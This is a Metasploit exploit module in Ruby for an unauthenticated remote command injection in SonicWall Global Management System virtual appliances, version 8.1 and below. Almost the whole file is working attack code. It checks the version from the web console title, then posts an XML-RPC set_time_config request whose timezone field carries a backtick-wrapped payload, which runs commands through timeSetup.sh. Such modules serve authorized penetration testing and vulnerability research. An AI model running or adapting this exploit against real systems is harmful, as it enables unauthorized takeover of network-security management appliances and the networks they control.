## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "SonicWall Global Management System XMLRPC set_time_zone Unath RCE", 'Description' => %q{ This module exploits a vulnerability in SonicWall Global Management System Virtual Appliance versions 8.1 (Build 8110.1197) and below. This virtual appliance can be downloaded from http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a holistic way to manage your entire network security environment.' These vulnerable versions (8.1 Build 8110.1197 and below) do not prevent unauthenticated, external entities from making XML-RPC requests to port 21009 of the virtual app. After the XML-RPC call is made, a shell script is called like so: 'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Flanders', #MSF Module 'kernelsmith' #Advisor ], 'References' => [ ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'], ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/'] ], 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'SonicWall Global Management System Virtual Appliance', {} ], ], 'Payload' => { # Can't use ampersand, Java's XML-RPC parser will complain and return an error 'BadChars' => "\x26", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet' } }, 'DisclosureDate' => "Jul 22 2016", 'DefaultTarget' => 0)) register_options( [ OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page. Defaults to 80/443 depending on SSL.']) ]) end def check if datastore['WEB_SERVER_PORT'] port_number = datastore['WEB_SERVER_PORT'] else port_number = datastore['SSL'] ? '443' : '80' end handler = datastore['SSL'] ? 'https' : 'http' res = request_url("#{handler}://#{rhost}:#{port_number}") unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/ return CheckCode::Safe end version = Gem::Version.new $1.to_s unless version <= Gem::Version.new('8.1') return CheckCode::Safe end CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, "The target is not vulnerable." end print_status "The target appears to be vulnerable, continuing exploit..." send_xml end def send_xml xml_body = <<~HERESTRING <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>set_time_config</methodName> <params> <param> <value> <struct> <member> <name>timezone</name> <value> <string>"`#{payload.encoded}`"</string> </value> </member> </struct> </value> </param> </params> </methodCall> HERESTRING res = send_request_raw({ 'method' => 'POST', 'uri' => '/', 'data' => xml_body, 'ctype' => 'text/xml; charset=UTF-8' }) unless res && res.body.include?("success") print_error("Error sending XML to #{rhost}:#{rport}") end end end